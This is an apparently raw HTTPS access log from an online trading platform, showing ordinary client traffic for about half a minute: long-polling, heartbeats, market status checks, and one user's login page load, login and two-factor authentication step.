[09/Jan/2026:12:15:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:15:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932418839 HTTP/1.1" -
[09/Jan/2026:12:15:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932419325 HTTP/1.1" -
[09/Jan/2026:12:15:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932420279 HTTP/1.1" -
[09/Jan/2026:12:15:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932422337 HTTP/1.1" -
[09/Jan/2026:12:15:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932422338 HTTP/1.1" -
[09/Jan/2026:12:15:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932422526 HTTP/1.1" -
[09/Jan/2026:12:15:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:15:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:15:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932423865 HTTP/1.1" -
[09/Jan/2026:12:15:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932425332 HTTP/1.1" -
[09/Jan/2026:12:15:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932425417 HTTP/1.1" -
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767932425073 HTTP/1.1" 3188
[09/Jan/2026:12:15:57 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:12:15:58 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932427719 HTTP/1.1" -
[09/Jan/2026:12:15:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932428332 HTTP/1.1" -
[09/Jan/2026:12:15:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932428332 HTTP/1.1" -
[09/Jan/2026:12:15:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932428907 HTTP/1.1" -
[09/Jan/2026:12:16:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932430559 HTTP/1.1" -
[09/Jan/2026:12:16:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932431331 HTTP/1.1" -
[09/Jan/2026:12:16:04 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932432961 HTTP/1.1" -
[09/Jan/2026:12:16:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932433945 HTTP/1.1" -
[09/Jan/2026:12:16:05 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:12:16:05 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:12:16:05 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:12:16:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932434330 HTTP/1.1" -
[09/Jan/2026:12:16:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932434329 HTTP/1.1" -
[09/Jan/2026:12:16:05 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:16:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932435736 HTTP/1.1" -
[09/Jan/2026:12:16:07 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:07 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:16:05 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 456
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767932435540 HTTP/1.1" 3188
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:12:16:08 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:12:16:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932437337 HTTP/1.1" -
[09/Jan/2026:12:16:09 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932438204 HTTP/1.1" -
[09/Jan/2026:12:16:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932438964 HTTP/1.1" -
[09/Jan/2026:12:16:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932440336 HTTP/1.1" -
[09/Jan/2026:12:16:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932440336 HTTP/1.1" -
[09/Jan/2026:12:16:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932440883 HTTP/1.1" -
[09/Jan/2026:12:16:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932443333 HTTP/1.1" -
[09/Jan/2026:12:16:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932443332 HTTP/1.1" -
[09/Jan/2026:12:16:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:16:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932444008 HTTP/1.1" -
[09/Jan/2026:12:16:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:16:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932446005 HTTP/1.1" -
[09/Jan/2026:12:16:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:16:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:16:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932448520 HTTP/1.1" -
[09/Jan/2026:12:16:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932449048 HTTP/1.1" -
[09/Jan/2026:12:16:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932451104 HTTP/1.1" -
[09/Jan/2026:12:16:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
